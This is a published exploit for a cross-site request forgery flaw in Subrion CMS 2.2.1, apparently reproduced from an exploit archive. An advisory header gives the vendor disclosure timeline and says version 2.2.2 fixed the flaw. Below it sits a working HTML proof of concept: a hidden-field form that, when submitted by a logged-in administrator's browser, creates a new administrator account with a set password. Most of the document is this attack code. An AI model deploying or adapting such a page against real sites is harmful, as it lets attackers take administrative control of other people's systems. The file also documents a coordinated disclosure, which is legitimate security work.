85 lines
No EOL
2.7 KiB
Text
85 lines
No EOL
2.7 KiB
Text
<!--
|
|
|
|
|
|
Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit
|
|
|
|
|
|
Vendor: Intelliants LLC
|
|
Product web page: http://www.subrion.com
|
|
Affected version: 2.2.1
|
|
|
|
Summary: Subrion is a free open source content management system. It's
|
|
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
|
|
integrated into your current website or used as a stand alone platform.
|
|
It's extremely flexible and scalable php system that stands for a content
|
|
management framework.
|
|
|
|
Desc: The application allows users to perform certain actions via HTTP
|
|
requests without performing any validity checks to verify the requests.
|
|
This can be exploited to perform certain actions with administrative
|
|
privileges if a logged-in user visits a malicious web site.
|
|
|
|
- Usergroup 1 - Administrator
|
|
- Usergroup 2 - Moderator
|
|
- Usergroup 8 - Registered
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
|
|
Apache 2.4.2 (Win32)
|
|
PHP 5.4.4
|
|
MySQL 5.5.25a
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Vendor status:
|
|
|
|
[05.09.2012] Vulnerability discovered.
|
|
[06.09.2012] Contact with the vendor.
|
|
[07.09.2012] Vendor responds asking more details.
|
|
[07.09.2012] Sent detailed information to the vendor.
|
|
[10.09.2012] Vendor creates patch.
|
|
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
|
|
[11.09.2012] Coordinated public security advisory released.
|
|
|
|
|
|
Advisory ID: ZSL-2012-5106
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php
|
|
|
|
|
|
05.09.2012
|
|
|
|
|
|
-->
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
|
|
</head>
|
|
<body><center><br />
|
|
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
|
|
<input type="hidden" name="username" value="Commando" />
|
|
<input type="hidden" name="fullname" value="Arnold Schwarzenegger" />
|
|
<input type="hidden" name="email" value="lab@zeroscience.mk" />
|
|
<input type="hidden" name="_password" value="l33tP4ss!" />
|
|
<input type="hidden" name="_password2" value="l33tP4ss!" />
|
|
<input type="hidden" name="usergroup" value="1" />
|
|
<input type="hidden" name="avatar" value="" />
|
|
<input type="hidden" name="sponsored" value="0" />
|
|
<input type="hidden" name="plan_id" value="1" />
|
|
<input type="hidden" name="sponsored_end" value="" />
|
|
<input type="hidden" name="status" value="active" />
|
|
<input type="hidden" name="save" value="Add" />
|
|
<input type="hidden" name="goto" value="list" />
|
|
<input type="hidden" name="old_name" value="ZSL" />
|
|
<input type="hidden" name="id" value="" />
|
|
<input type="submit" id="exploit" value="Forge!" />
|
|
</form></center>
|
|
<script type="text/javascript">
|
|
function forge(){document.getElementById("exploit").click();}
|
|
</script>
|
|
</body>
|
|
</html> |